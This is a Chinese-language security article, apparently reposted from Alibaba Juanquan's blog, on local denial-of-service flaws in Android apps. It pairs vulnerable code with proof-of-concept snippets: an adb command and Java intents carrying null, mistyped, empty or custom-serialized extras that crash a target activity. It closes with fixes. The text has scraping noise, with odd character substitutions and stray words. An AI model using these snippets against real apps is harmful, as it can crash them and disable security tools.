Android 应用本地拒绝服务漏洞浅析

1.本地拒绝服务漏洞描述

Android 系统提供了 Activity、Service 和 Broadcast Receiver 等组件,并提供了 Intent 机制来协助应用间的交互与通信,Intent 负责对应用中一次操做的动做、动做涉及数据、附加数据进行描述,Android 系统则根据此 Intent 的描述,负责找到对应的组件,将 Intent 传递给调用的组件,并完成组件的调用。Android 应用本地拒绝服务漏洞源于程序没有对 Intent.getXXXExtra() 获取的异常或者畸形数据处理时没有进行异常捕获,从而致使攻击者可经过向受害者应用发送此类空数据、异常或者畸形数据来达到使该应用 crash 的目的,简单的说就是攻击者经过 intent 发送空数据、异常或畸形数据给受害者应用,致使其崩溃。android

近期,两位 0xr0ot 和 Xbalien 安全研究人员发现了一处通用的本地拒绝服务漏洞。该通用型本地拒绝服务能够形成大面积的 app 拒绝服务。通用型本地拒绝服务漏洞,主要源于攻击者向 Intent 中传入其自定义的序列化类对象,当调用组件收到此 Extra 序列化类对象时,没法找到此序列化类对象的类定义,所以发生类未定义的异常而致使应用崩溃。shell

本地拒绝服务漏洞不只能够致使安全防御等应用的防御功能被绕过或失效(如杀毒应用、安全卫士、防盗锁屏等),并且也可被竞争方应用利用来攻击,使得本身的应用崩溃,形成不一样程度的经济利益损失。数组

2. 本地拒绝服务漏洞影响范围

Android系统全部版本。安全

3. 本地拒绝服务漏洞详情

  1. 漏洞位置:处理 getIntent() 的 intent 附带的数据
  2. 漏洞触发前提条件:

    • getIntent() 的 intent 附带空数据、异常或畸形数据
    • 处理 getXXXExtra() 获取的数据时没有进行异常捕获
  3. 漏洞原理:Android 系统中提供了 Intent 机制来协助应用间的交互与通信,其负责对应用中一次操做的动做、动做涉及数据、附加数据进行描述,系统则根据此 Intent 的描述,负责找到对应的组件,将 Intent 传递给调用的组件,并完成组件的调用。调用的组件在处理 Intent 附加数据的时候,没有进行异常捕获,所以当处理空数据、异常或者畸形数据时,致使应用崩溃。

4. 漏洞详细 POC

  1. NullPointerException异常致使的拒绝服务,源于程序没有对getAction()等获取到的数据进行空指针判断,从而致使空指针异常而致使应用崩溃;app

    漏洞应用代码片断:spa

    Intent i = new Intent();
    if (i.getAction().equals("TestForNullPointerException")) {
        Log.d("TAG", "Test for Android Refuse Service Bug");
    }

    攻击应用代码片断:指针

    KevindeMacBook-Air-2:~ kevin$ adb shell am start -n com.alibaba.jaq.pocforrefuseservice/.MainActivity

    攻击应用代码运行后结果截图:code

  2. ClassCastException 异常致使的拒绝服务, 源于程序没有对 getSerializableExtra() 等获取到的数据进行类型判断而进行强制类型转换,从而致使类型转换异常而致使应用崩溃cdn

    漏洞应用代码片断:xml

    Intent i = getIntent();
    String test = (String)i.getSerializableExtra("serializable_key");

    攻击应用代码片断:

    Intent i = new Intent();
    i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
    i.putExtra("serializable_key", BigInteger.valueOf(1));
    startActivity(i);</pre>`

    击应用代码运行后结果截图:

  3. IndexOutOfBoundsException 异常致使的拒绝服务,源于程序没有对 getIntegerArrayListExtra() 等获取到的数据数组元素大小的判断,从而致使数组访问越界而致使应用崩溃

    漏洞应用代码片断:

    Intent intent = getIntent();
    ArrayList&lt;Integer&gt; intArray = intent.getIntegerArrayListExtra("user_id");
    if (intArray != null) {
        for (int i = 0; i &lt; USER_NUM; i++) {
            intArray.get(i);
        }
    }

    攻击应用代码片断:

    Intent intent = new Intent();
    intent.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
    ArrayList&lt;Integer&gt; user_id = new ArrayList&lt;Integer&gt;();
    intent.putExtra("user_id", user_id);
    startActivity(intent);

    攻击应用代码运行后结果截图:

  4. ClassNotFoundException 异常致使的拒绝服务,源于程序没有没法找到从 getSerializableExtra() 获取到的序列化类对象的类定义,所以发生类未定义的异常而致使应用崩溃

    漏洞应用代码片断:

    Intent i = getIntent();
    i.getSerializableExtra("serializable_key");

    攻击应用代码片断:

    public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.main);
         Intent i = new Intent();
         i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
         i.putExtra("serializable_key", new SelfSerializableData());
         startActivity(i);
     }
    static  class SelfSerializableData implements Serializable {
         private static final long serialVersionUID = 42L;
         public SelfSerializableData() {
             super();
         }
     }

    攻击应用代码运行后结果截图:

5. 本地拒绝服务漏洞修复建议

  1. 阿里聚安全建议将没必要要的导出的组件设置为不导出

    出于安全考虑,阿里聚安全应将没必要要的组件导出,防止引发拒绝服务,尤为是杀毒、安全防御、锁屏防盗等安全应用;在AndroidMenifest.xml文件中,将相应组件的 android:exported属性设置为 false,以下示例:

    <activity android:name="MyActivity"
            android:exported="false">
        <intent-filter>
            <action android:name="android.intent.action_TEST"/>
        </intent-filter>
    </activity>`
  2. 阿里聚安全建议intent处理数据时进行捕获异常

    阿里聚安全建议处理经过 Intent.getXXXExtra() 获取的数据时进行如下判断,以及用 try catch 方式进行捕获全部异常,以防止应用出现拒绝服务漏洞:

    • 空指针异常;
    • 类型转换异常;
    • 数组越界访问异常;
    • 类未定义异常;
    • 其余异常;

转自 阿里聚安全博客常见漏洞系列

相关文章
相关标签/搜索